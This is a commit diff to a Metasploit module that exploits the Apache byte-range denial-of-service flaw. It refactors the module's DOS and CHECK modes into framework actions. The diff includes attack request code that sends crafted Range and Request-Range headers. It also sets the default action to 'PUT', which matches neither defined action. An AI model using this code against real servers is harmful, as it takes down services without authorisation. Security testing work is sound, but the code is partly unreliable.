Uses "ACTIONS" keys instead of datastore options

It's better to use ACTIONS instead of datastore in this case. Also,
did some cleanup.

modules/auxiliary/dos/http/apache_range_dos.rb

@@ -1,7 +1,3 @@
-##
-# $Id$
-##
-
 ##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
@@ -35,7 +31,12 @@ class Metasploit3 < Msf::Auxiliary
 					'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
 				],
 			'License'        => MSF_LICENSE,
-			'Version'        => '$Revision$',
+			'Actions'        =>
+				[
+					['DOS'],
+					['CHECK']
+				],
+			'DefaultAction'  => 'PUT',
 			'References'     =>
 				[
 					[ 'BID', '49303'],
@@ -43,22 +44,20 @@ class Metasploit3 < Msf::Auxiliary
 					[ 'EDB', '17696'],
 					[ 'OSVDB', '74721' ],
 				],
-			'DisclosureDate' => 'Aug 19 2011',
+			'DisclosureDate' => 'Aug 19 2011'
 		))
 
 		register_options(
 			[
 				Opt::RPORT(80),
 				OptString.new('URI', [ true,  "The request URI", '/']),
-				OptInt.new('RLIMIT', [ true,  "Number of requests to send",50]),
+				OptInt.new('RLIMIT', [ true,  "Number of requests to send",50])
-				OptEnum.new('ACTION', [true, "DOS or CHECK", "DOS",["DOS","CHECK"]])
 			], self.class)
 	end
 
 	def run_host(ip)
 
-		case datastore['action'] 
+		case action.name
-
 		when 'DOS'
 			conduct_dos()
 
@@ -74,13 +73,16 @@ class Metasploit3 < Msf::Auxiliary
 			res = send_request_cgi({
 				'uri'     =>  path,
 				'method'  => 'HEAD',
-										'headers'       => { "HOST" => "Localhost", "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"} })
+				'headers' => {
+					"HOST"          => "Localhost",
+					"Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
+				}
+			})
 
 			if (res and res.code == 206)
 				print_status("Response was #{res.code}")
 				print_status("Found Byte-Range Header DOS at #{path}")
 
-
 				report_note(
 					:host   => rhost,
 					:port   => rport,
@@ -89,14 +91,11 @@ class Metasploit3 < Msf::Auxiliary
 
 			else
 				print_status("#{rhost} doesn't seem to be vulnerable at #{path}")
-
 			end
 
 			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
 			rescue ::Timeout::Error, ::Errno::EPIPE
 		end
-
-
 	end
 
 
@@ -113,8 +112,10 @@ class Metasploit3 < Msf::Auxiliary
 				res = send_request_cgi({
 					'uri'     =>  uri,
 					'method'  => 'HEAD',
-										'headers'		=> { "HOST" => rhost,
+					'headers' => {
+						"HOST" => rhost,
 						"Range" => "bytes=0-#{ranges}"}},1)
+
 			rescue ::Rex::ConnectionRefused
 				print_status("Unable to connect to #{rhost}:#{rport}.")
 			rescue ::Errno::ECONNRESET